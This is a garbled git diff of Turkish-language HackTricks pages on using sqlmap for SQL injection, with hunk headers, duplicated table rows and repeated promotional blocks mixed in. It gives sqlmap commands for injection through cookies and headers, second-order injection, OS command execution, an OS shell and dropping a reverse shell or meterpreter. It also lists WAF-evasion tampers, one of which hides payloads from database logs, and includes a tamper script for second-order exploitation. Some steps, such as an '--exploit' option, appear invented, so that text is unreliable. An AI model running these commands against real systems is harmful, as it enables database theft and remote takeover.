SQLMap, otomatik bir SQL enjeksiyon aracıdır. Bu araç, web uygulamalarında SQL enjeksiyonu açıklarını tespit etmek ve saldırıları gerçekleştirmek için kullanılır. SQLMap, farklı HTTP metotlarında ve başlıklarda enjeksiyonları tespit etmek için kullanılabilir.
SQLMap kullanarak enjeksiyon tespiti yapmak için aşağıdaki komutu kullanabilirsiniz:
```
sqlmap -u <URL> --method <HTTP_METODU> --headers "<BAŞLIKLAR>"
```
Bu komutu kullanarak SQLMap'i belirli bir URL, HTTP metodu ve başlıklarla çalıştırabilirsiniz. SQLMap, enjeksiyon tespiti yapmak için otomatik olarak SQL sorguları oluşturacak ve sonuçları analiz edecektir.
SQLMap, enjeksiyon tespiti yaparken dikkatli olunması gereken bir araçtır. Yasal izinlerle ve etik kurallara uygun olarak kullanılmalıdır.
## Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -200,31 +84,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## İkinci derece enjeksiyon
Second order injection, bir web uygulamasında SQL enjeksiyonu saldırısının gerçekleştirildiği bir senaryodur. Bu saldırı türünde, kullanıcı tarafından sağlanan verilerin doğrudan SQL sorgularına enjekte edilmediği, ancak verilerin bir veritabanına kaydedildiği ve daha sonra başka bir sorguda kullanıldığı durumlar hedef alınır.
Bu saldırı türü, web uygulamasının güvenlik kontrollerini aşmak için kullanılır. İkinci derece enjeksiyon saldırısı gerçekleştirmek için, saldırgan öncelikle kullanıcı tarafından sağlanan verilerin nasıl işlendiğini ve depolandığını anlamalıdır. Ardından, saldırgan, veritabanına kaydedilen verilerin bir sonraki sorguda nasıl kullanıldığını belirlemek için bu verileri izlemelidir.
İkinci derece enjeksiyon saldırıları, saldırganın veritabanında saklanan verileri manipüle etmesine ve hedef uygulamada istenmeyen işlemler gerçekleştirmesine olanak tanır. Bu tür bir saldırı, veritabanı tablolarını değiştirmek, verileri silmek veya çalmak, hatta sistemde komut çalıştırmak gibi ciddi sonuçlara yol açabilir.
Saldırganlar, ikinci derece enjeksiyon saldırılarını gerçekleştirmek için SQL enjeksiyon araçlarından yararlanabilirler. Bu araçlar, saldırganlara hedef uygulamada ikinci derece enjeksiyon açıklarını tespit etmek ve sömürmek için gerekli olan otomatik işlevleri sağlar.
İkinci derece enjeksiyon saldırılarına karşı korunmak için, web uygulamalarının kullanıcı tarafından sağlanan verileri doğru bir şekilde işlemesi ve güvenlik kontrolleri uygulaması önemlidir. Verilerin doğru bir şekilde filtrelenmesi ve parametrelerin yerine geçirilmesi, ikinci derece enjeksiyon saldırılarının önlenmesine yardımcı olabilir. Ayrıca, güncel güvenlik yamalarının uygulanması ve güvenlik testlerinin düzenli olarak yapılması da önemlidir.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Kabuk
SQLMap, hedef web uygulamasında SQL enjeksiyonu saldırılarını otomatik olarak gerçekleştirmek için kullanılan bir araçtır. SQLMap, hedef uygulamada SQL enjeksiyonu açıklarını tespit etmek ve bu açıkları kullanarak veritabanına erişim sağlamak için kullanılır.
SQLMap, bir hedef web uygulamasına saldırmak için çeşitli teknikler kullanır. Bu teknikler arasında UNION tabanlı saldırılar, Boolean tabanlı saldırılar, zaman tabanlı saldırılar ve diğerleri bulunur. SQLMap, hedef uygulamada SQL enjeksiyonu açığı tespit edildiğinde, otomatik olarak uygun saldırı tekniklerini kullanarak veritabanına erişim sağlar.
SQLMap, hedef uygulamada SQL enjeksiyonu açığı tespit etmek için çeşitli yöntemler kullanır. Bu yöntemler arasında otomatik tarama, manuel tarama ve tam tarama bulunur. SQLMap, hedef uygulamada SQL enjeksiyonu açığı tespit ettiğinde, kullanıcıya veritabanına erişim sağlamak için bir kabuk sunar.
SQLMap kabuğu, kullanıcının hedef veritabanında SQL sorgularını çalıştırmasına olanak tanır. Bu kabuk, kullanıcının veritabanında veri okumasını, veri yazmasını ve hatta veritabanını tamamen kontrol etmesini sağlar. SQLMap kabuğu, kullanıcının hedef veritabanında istediği işlemleri gerçekleştirmesine olanak tanır.
SQLMap kabuğu, kullanıcının hedef veritabanında SQL sorgularını çalıştırmasına olanak tanır. Bu kabuk, kullanıcının veritabanında veri okumasını, veri yazmasını ve hatta veritabanını tamamen kontrol etmesini sağlar. SQLMap kabuğu, kullanıcının hedef veritabanında istediği işlemleri gerçekleştirmesine olanak tanır.
## Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -235,27 +99,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## SQLmap ile bir web sitesini tarama ve otomatik olarak saldırı gerçekleştirme
SQLmap, SQL enjeksiyonu saldırılarını otomatik olarak gerçekleştirmek için kullanılan bir araçtır. Bu araç, hedef web sitesini tarayarak SQL enjeksiyonu açıklarını tespit eder ve otomatik olarak saldırı gerçekleştirir.
SQLmap'ı kullanarak bir web sitesini taramak ve otomatik olarak saldırı gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:
1. SQLmap'ı çalıştırın ve hedef web sitesinin URL'sini belirtin:
```
sqlmap -u <hedef-URL>
```
2. SQLmap, hedef web sitesini tarayacak ve SQL enjeksiyonu açıklarını tespit edecektir. Bu işlem biraz zaman alabilir.
3. SQLmap, tespit edilen SQL enjeksiyonu açıklarını otomatik olarak saldırıya dönüştürebilir. Saldırıyı gerçekleştirmek için aşağıdaki komutu kullanın:
```
sqlmap -u <hedef-URL> --exploit
```
4. SQLmap, hedef web sitesine SQL enjeksiyonu saldırısı gerçekleştirerek veritabanına erişmeye çalışacaktır. Başarılı bir saldırı durumunda, SQLmap, veritabanındaki bilgileri çekebilir veya değiştirebilir.
Bu adımları izleyerek SQLmap'i kullanarak bir web sitesini tarama ve otomatik olarak saldırı gerçekleştirme işlemini gerçekleştirebilirsiniz. Ancak, bu tür saldırıları yalnızca yasal ve etik sınırlar içinde gerçekleştirmeniz önemlidir.
## SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -263,13 +107,9 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Bir ek sonek belirleme
# Özel Enjeksiyon
Bazı durumlarda, SQL enjeksiyonu saldırısını özelleştirmek isteyebilirsiniz. SQLMap, bu amaçla bir dizi seçenek sunar. Bunlardan biri, enjeksiyonu hedef URL'ye bir ek sonek ekleyerek gerçekleştirir.
Bu seçeneği kullanmak için, `--suffix` parametresini kullanarak bir sonek belirlemeniz gerekmektedir. Örneğin, `--suffix=' UNION SELECT NULL, NULL, NULL--` şeklinde bir sonek belirleyebilirsiniz.
Bu sonek, SQLMap tarafından enjeksiyonu gerçekleştirmek için kullanılan SQL ifadesine eklenir. Bu sayede, hedef uygulama üzerinde daha fazla kontrol sağlayabilirsiniz.
## Bir sonek ayarlayın
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
@ -277,108 +117,78 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Boolean enjeksiyonunu bulmaya yardım
Boolean enjeksiyonu, bir web uygulamasında SQL enjeksiyonu saldırısı gerçekleştirmek için kullanılan bir tekniktir. Bu saldırıda, uygulamanın SQL sorgularında mantıksal ifadelerin sonuçlarını kontrol etmek için kullanılan boolean (doğru/yanlış) değerlerini manipüle etmek amaçlanır.
Boolean enjeksiyonunu bulmak için aşağıdaki adımları izleyebilirsiniz:
1. Uygulamanın giriş alanlarını ve parametrelerini belirleyin.
2. Giriş alanlarına veya parametrelerine mantıksal ifadeler ekleyin ve sonuçları gözlemleyin.
3. Eğer uygulama hata mesajları veya farklı davranışlar döndürüyorsa, bu durumları analiz edin ve mantıksal ifadelerin sonuçlarını manipüle etmek için kullanabileceğiniz ipuçlarını arayın.
4. Boolean enjeksiyonu için SQLMap gibi otomatik araçları kullanabilirsiniz. Bu araçler, uygulamanın SQL sorgularını otomatik olarak analiz eder ve boolean enjeksiyonu için uygun parametreleri tespit eder.
Boolean enjeksiyonu, web uygulamalarında yaygın bir güvenlik açığıdır ve saldırganlara veritabanı bilgilerine erişim sağlama veya yetkisiz veri çekme gibi tehlikeli eylemler gerçekleştirme imkanı verir. Bu nedenle, web uygulamalarınızı güvende tutmak için düzenli olarak güvenlik testleri yapmanız önemlidir.
## Boolean enjeksiyonu bulma konusunda yardım
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Açıklama:
SQLMap, SQL enjeksiyon saldırılarını gerçekleştirmek için kullanılan bir araçtır. SQLMap, hedef web uygulamasının SQL enjeksiyon açıklarını otomatik olarak tespit eder ve bu açıkları kullanarak veritabanına erişim sağlar. SQLMap, hedef web uygulamasının veritabanına sızma yeteneğine sahip olduğu için oldukça güçlü bir araçtır.
SQLMap, SQL enjeksiyon saldırılarını gerçekleştirmek için çeşitli teknikler kullanır. Bu tekniklerden biri de "tamper" olarak adlandırılır. Tamper, SQLMap'in saldırıları gerçekleştirirken SQL sorgularını değiştirmesine olanak tanır. Bu, SQLMap'in hedef web uygulamasının güvenlik önlemlerini atlamasına ve daha etkili bir şekilde veritabanına erişim sağlamasına yardımcı olur.
SQLMap'in tamper özelliği, SQL sorgularını değiştirmek için çeşitli teknikler sunar. Bu teknikler, SQLMap'in hedef web uygulamasının güvenlik önlemlerini atlamasına yardımcı olur. Örneğin, SQLMap, SQL sorgularını karıştırabilir, boşlukları kaldırabilir, komutları değiştirebilir veya sorguları şifreleyebilir. Bu teknikler, SQLMap'in hedef web uygulamasının güvenlik önlemlerini atlamasına ve veritabanına erişim sağlamasına yardımcı olur.
SQLMap'in tamper özelliği, SQL enjeksiyon saldırılarını gerçekleştirirken kullanılabilir. Bu özellik, SQLMap'in hedef web uygulamasının güvenlik önlemlerini atlamasına ve veritabanına erişim sağlamasına yardımcı olur. Tamper, SQLMap'in saldırıları gerçekleştirirken SQL sorgularını değiştirmesine olanak tanır. Bu, SQLMap'in hedef web uygulamasının güvenlik önlemlerini atlamasına ve daha etkili bir şekilde veritabanına erişim sağlamasına yardımcı olur.
### Kullanım:
Tamper özelliğini kullanmak için, SQLMap komutuna `--tamper` parametresini eklemeniz gerekmektedir. Bu parametre, SQLMap'e hangi tamper tekniklerini kullanması gerektiğini belirtir. Örneğin:
```
sqlmap -u "http://example.com/vuln.php?id=1" --tamper=space2comment
```
Bu komut, SQLMap'in `space2comment` tamper tekniğini kullanarak SQL sorgularını değiştirmesini sağlar. Bu teknik, SQL sorgularındaki boşlukları yorumlara dönüştürerek güvenlik önlemlerini atlamaya yardımcı olur.
Tamper özelliği, SQLMap'in hedef web uygulamasının güvenlik önlemlerini atlamasına yardımcı olur. Bu özellik, SQLMap'in saldırıları gerçekleştirirken SQL sorgularını değiştirmesine olanak tanır. Bu, SQLMap'in hedef web uygulamasının güvenlik önlemlerini atlamasına ve daha etkili bir şekilde veritabanına erişim sağlamasına yardımcı olur.
## Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Açıklama |
| :--- | :--- |
| apostrophemask.py | Apostrof karakterini UTF-8 tam genişlikli karşılığıyla değiştirir |
| apostrophenullencode.py | Apostrof karakterini yasaklı çift unicode karşılığıyla değiştirir |
| appendnullbyte.py | Kodun sonuna kodlanmış NULL bayt karakteri ekler |
| base64encode.py | Verilen koddaki tüm karakterleri Base64'e dönüştürür |
| between.py | Büyük olan operatörü \('&gt;'\) 'NOT BETWEEN 0 AND \#' ile değiştirir |
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli bir rastgele boş karakterle değiştirir. Ardından karakteri '=' ile LIKE operatörüyle değiştirir |
| chardoubleencode.py | Verilen kodun tüm karakterlerini çift url-kodlar \(zaten kodlanmış olanları işlemlemez\) |
| apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir |
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
| between.py | 'BÜYÜK' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında karakter = ile LIKE operatörünü değiştirir |
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar (zaten kodlanmış olanları işlemez) |
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
| commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir |
| concat2concatws.py | 'CONCAT\(A, B\)' gibi örnekleri 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' ile değiştirir |
| charencode.py | Verilen kodun tüm karakterlerini url-kodlar \(zaten kodlanmış olanları işlemlemez\) |
| charunicodeencode.py | Verilen kodun kodlanmamış karakterlerini unicode-url-kodlar \(zaten kodlanmış olanları işlemlemez\). "%u0022" |
| charunicodeescape.py | Verilen kodun kodlanmamış karakterlerini unicode-url-kodlar \(zaten kodlanmış olanları işlemlemez\). "\u0022" |
| equaltolike.py | Tüm eşitlik operatörü \('='\) örneklerini 'LIKE' operatörüyle değiştirir |
| escapequotes.py | Tırnak işaretlerini \(' ve "\) kaçış karakteriyle değiştirir |
| greatest.py | Büyük olan operatörü \('&gt;'\) 'GREATEST' karşılığıyla değiştirir |
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne sürüm bilgisi ekler |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' gibi örnekleri 'IF\(ISNULL\(A\), B, A\)' ile değiştirir |
| modsecurityversioned.py | Tam sorguyu sürümlendirilmiş yorumla kapsar |
| modsecurityzeroversioned.py | Tam sorguyu sıfır sürümlü yorumla kapsar |
| commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
| concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
| charencode.py | Verilen payload'daki tüm karakterleri url-kodlar (zaten kodlanmış olanları işlemez) |
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemez). "%u0022" |
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemez). "\u0022" |
| equaltolike.py | Eşitlik operatörünün tüm örneklerini ('=') 'LIKE' operatörü ile değiştirir |
| escapequotes.py | Ters eğik çizgi ile alıntıları kaçırır (' ve ") |
| greatest.py | BÜYÜK operatörünü ('>') 'GREATEST' karşılığı ile değiştirir |
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne sürümlü MySQL yorumu ekler |
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
| modsecurityversioned.py | Tam sorguyu sürümlü yorum ile sarar |
| modsecurityzeroversioned.py | Tam sorguyu sıfır sürümlü yorum ile sarar |
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
| nonrecursivereplacement.py | Değiştirme için uygun temsilcilerle önceden tanımlanmış SQL anahtar kelimelerini değiştirir \(örneğin .replace\("SELECT", ""\)\) |
| percentage.py | Her karakterin önüne bir yüzde işareti \('%'\) ekler |
| overlongutf8.py | Verilen kodun tüm karakterlerini dönüştürür \(zaten kodlanmış olanları işlemlemez\) |
| randomcase.py | Her anahtar kelime karakterini rastgele bir büyük/küçük harf değeriyle değiştirir |
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örn. .replace("SELECT", "") filtreleri) |
| percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemez) |
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
| securesphere.py | Özel oluşturulmuş bir dize ekler |
| sp\_password.py | Otomatik olarak gizlenmek için kodun sonuna 'sp\_password' ekler |
| space2comment.py | Boşluk karakterini \(' '\) yorumlarla değiştirir |
| space2dash.py | Boşluk karakterini \(' '\) tire yorumu \('--'\) ile değiştirir ve ardından rastgele bir dize ve yeni satır \('\n'\) ekler |
| space2hash.py | Boşluk karakterini \(' '\) bir diyez karakteri \('\#'\) ile değiştirir ve ardından rastgele bir dize ve yeni satır \('\n'\) ekler |
| space2morehash.py | Boşluk karakterini \(' '\) bir diyez karakteri \('\#'\) ile değiştirir ve ardından rastgele bir dize ve yeni satır \('\n'\) ekler |
| space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli bir alternatif karakter kümesinden rastgele bir boş karakterle değiştirir |
| space2mssqlhash.py | Boşluk karakterini \(' '\) bir diyez karakteri \('\#'\) ile değiştirir ve ardından yeni satır \('\n'\) ekler |
| space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli bir alternatif karakter kümesinden rastgele bir boş karakterle değiştirir |
| space2mysqldash.py | Boşluk karakterini \(' '\) tire yorumu \('--'\) ile değiştirir ve ardından yeni satır \('\n'\) ekler |
| space2plus.py | Boşluk karakterini \(' '\) artı işareti \('+'\) ile değiştirir |
| space2randomblank.py | Boşluk karakterini \(' '\) geçerli bir alternatif karakter kümesinden rastgele bir boş karakterle değiştirir |
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıklarıyla \(&& ve |
| unionalltounion.py | UNION ALL SELECT ifadesini UNION SELECT ile değiştirir |
| unmagicquotes.py | Tırnak işaretini \('\) çoklu baytlı bir kombinasyon %bf%27 ile değiştirir ve sonuna genel bir yorum ekler \(çalışması için\) |
| uppercase.py | Her anahtar kelime karakterini büyük harf değeriyle değiştirir 'INSERT' |
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
| sp_password.py | Payload'un sonuna 'sp_password' ekler, böylece DBMS günlüklerinden otomatik olarak gizlenir |
| space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
| space2dash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
| space2hash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
| space2morehash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
| space2mssqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mssqlhash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler |
| space2mysqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mysqldash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler |
| space2plus.py | Boşluk karakterini (' ') artı ('+') ile değiştirir |
| space2randomblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve |) |
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
| unmagicquotes.py | Alıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ile (çalışması için) |
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi sürümlendirilmiş MySQL yorumuyla çevreler |
| versionedmorekeywords.py | Her anahtar kelimeyi sürümlendirilmiş MySQL yorumuyla çevreler |
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi sürümlü MySQL yorumu ile sarar |
| versionedmorekeywords.py | Her anahtar kelimeyi sürümlü MySQL yorumu ile sarar |
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**SQLMap, İkinci Derece SQLi'leri sömürebilir.**\
Sağlamanız gerekenler:
**SQLMap İkinci Derece SQL'leri istismar edebilir.**\
Şunları sağlamanız gerekir:
* **Sql enjeksiyon yükünün kaydedileceği istek**
* **Yükün** **yürütüleceği istek**
* **sqlinjection yükünün** kaydedileceği **istek**
* **yükün** **çalıştırılacağı** **istek**
Sql enjeksiyon yükünün kaydedildiği istek, **sqlmap'teki diğer enjeksiyonlar gibi** belirtilir. Enjeksiyonun çıktısını/çalışmasını okuyabileceği istek, `--second-url` veya bir dosyadan tam bir isteği belirtmeniz gerekiyorsa `--second-req` ile belirtilebilir.
SQL enjeksiyon yükünün kaydedildiği istek, **sqlmap'teki diğer tüm enjeksiyonlarda olduğu gibi belirtilir**. SQLMap'in enjeksiyonun **çıkışını/çalıştırılmasını okuyabileceği** istek, `--second-url` ile veya bir dosyadan tam bir isteği belirtmeniz gerekiyorsa `--second-req` ile belirtilebilir.
**Basit ikinci derece örnek:**
**Basit ikinci derece örneği:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -29,9 +30,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
Birkaç durumda **bu yeterli olmayabilir** çünkü farklı bir sayfaya erişmek ve payload göndermek dışında **başka eylemler gerçekleştirmeniz gerekebilir**.
Birçok durumda **bu yeterli olmayacak** çünkü **payload göndermenin** yanı sıra farklı bir sayfaya erişmek için **başka eylemler gerçekleştirmeniz** gerekecek.
Bunu gerektiğinde bir **sqlmap değiştirici** kullanabilirsiniz. Örneğin, aşağıdaki komut dosyası, sqlmap payload'ını e-posta olarak kullanarak yeni bir kullanıcı kaydeder ve oturumu kapatır.
Bunun gerektiği durumlarda **sqlmap tamper** kullanabilirsiniz. Örneğin, aşağıdaki script yeni bir kullanıcıyı **sqlmap payload'ını e-posta olarak kullanarak** kaydedecek ve çıkış yapacaktır.
```python
#!/usr/bin/env python
@ -59,14 +60,14 @@ headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
Her zaman bir enjeksiyon denemesiyle başlamadan önce bir SQLMap değiştirici çalıştırılır ve bir payload döndürmesi gerekmektedir. Bu durumda, payload ile ilgilenmiyoruz, ancak bazı istekler göndermekle ilgileniyoruz, bu nedenle payload değiştirilmez.
A **SQLMap tamper her zaman bir yük ile bir enjeksiyon denemesi başlatmadan önce çalıştırılır** **ve bir yük döndürmesi gerekir**. Bu durumda yük ile ilgilenmiyoruz ama bazı istekler göndermeye odaklanıyoruz, bu yüzden yük değişmiyor.
Bu nedenle, ikinci dereceden SQL enjeksiyonunu sömürmek için daha karmaşık bir akışa ihtiyacımız olduğunda:
Bu nedenle, ikinci dereceden SQL enjeksiyonunu istismar etmek için daha karmaşık bir akışa ihtiyacımız varsa:
* "email" alanı içinde SQLi payload'ını içeren bir hesap oluşturun
* Çıkış yapın
* Bu hesapla giriş yapın (login.txt)
* SQL enjeksiyonunu gerçekleştirmek için bir istek gönderin (second.txt)
* "email" alanında SQLi yükü ile bir hesap oluştur
* Çıkış yap
* O hesapla giriş yap (login.txt)
* SQL enjeksiyonunu çalıştırmak için bir istek gönder (second.txt)
**Bu sqlmap satırı yardımcı olacaktır:**
```bash
@ -83,16 +84,17 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
